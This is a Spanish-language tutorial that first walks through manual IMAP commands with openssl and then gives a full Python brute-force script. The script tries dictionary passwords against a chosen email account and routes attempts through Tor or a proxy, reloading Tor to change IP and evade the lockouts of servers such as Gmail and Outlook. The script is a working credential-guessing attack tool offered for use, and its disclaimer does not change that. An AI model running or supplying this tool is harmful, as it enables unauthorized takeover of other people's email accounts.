EL presente texto pretende introducir al lector en el uso del protocolo imap.
Qué es imap: El protocolo de acceso a mensajes de Internet (en inglés Internet Message Access Protocol o IMAP), es un protocolo de aplicación que permite el acceso a mensajes almacenados en un servidor de Internet. Mediante IMAP se puede tener acceso al correo electrónico desde cualquier equipo que tenga una conexión a Internet. (wikipedia)
Cómo juego con imap:
1-Te conectás de la siguiente forma:
openssl s_client -connect imap.servidor.com:993 -crlf
donde imap.servidor.con es tu servidor imap y 993 es el puerto imap.
2-Te logueas de la siguiente forma:
a001 login nombredeusuario password
3-Listas carpetas de la siguiente forma:
a001 list “” “*”
4-Seleccionas carpetas usando la palabra clave select
a001 select INBOX
5-Buscas usando la palabra clave search. Aqui algunos ejemplos:
a001 search seen
a001 search unseen
a001 search from ‘[email protected]’
6-Seleccionás el email a leer con fetch y con body establecés que leerás el cuerpo del email mediante el siguiente comando
a001 fetch 1 body[text]
Codeando algo de fuerza bruta:
import socks
import sys
import subprocess
import ssl
import imaplib
from socks import PROXY_TYPE_HTTP
from socks import PROXY_TYPE_SOCKS5
if __name__ == "__main__":
print '''Ten presente los siguientes tres puntos:
1-Es muy posible que algunos servidores, como gmail, rechace toda conexion desde un proxy o desde tor;
2-Es posible que un servidor, como outloot, corte la conexion si haces mas de tres intentos con la misma ip
3-El autor no se hace responsable del uso malicioso de esta herramienta'''
inter=2
tor=False
palabras=[]
email= raw_input('Usuario gmail o correo electronico cuando se usa otro imap server: ')
diccionario=raw_input('Ruta completa del diccionario: ')
imap_server=raw_input('IMAP server: ')
imap_port=raw_input('Puerto imap: ')
proxy_ip=raw_input('Si quieres probar ip-tor-bypass (funcion experimental que requiere tor), ingresa la ip local: ')
if proxy_ip is not '' :
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
socks.wrapmodule(imaplib)
tor=True
inter=int(raw_input('Cada cuantos intentos fallidos deseas cambiar tu ip?:'))
if tor is False:
proxy_ip=raw_input('Si tienes proxy, ingresa ip del proxy http: ')
if proxy_ip is not '':
proxy_port=raw_input('Port del proxy http: ')
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy_ip, int(proxy_port))
socks.wrapmodule(imaplib)
archivo = open(diccionario)
for lineas in archivo.readlines():
palabras.append(lineas[:-1])
server = imaplib.IMAP4_SSL(imap_server, imap_port)
intentos=0
for password in palabras:
try:
rv, data=server.login(email, password)
print 'LA PASSWORD ES '+password
sys.exit(0)
except imaplib.IMAP4.error as detalle:
if intentos == inter and tor is True:
p=subprocess.call (["/etc/init.d/tor", "reload"])
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
socks.wrapmodule(imaplib)
server = imaplib.IMAP4_SSL(imap_server, imap_port)
intentos=0
intentos=intentos+1
print detalle
print 'ERROR AL LOGUEARSE CON '+password
pass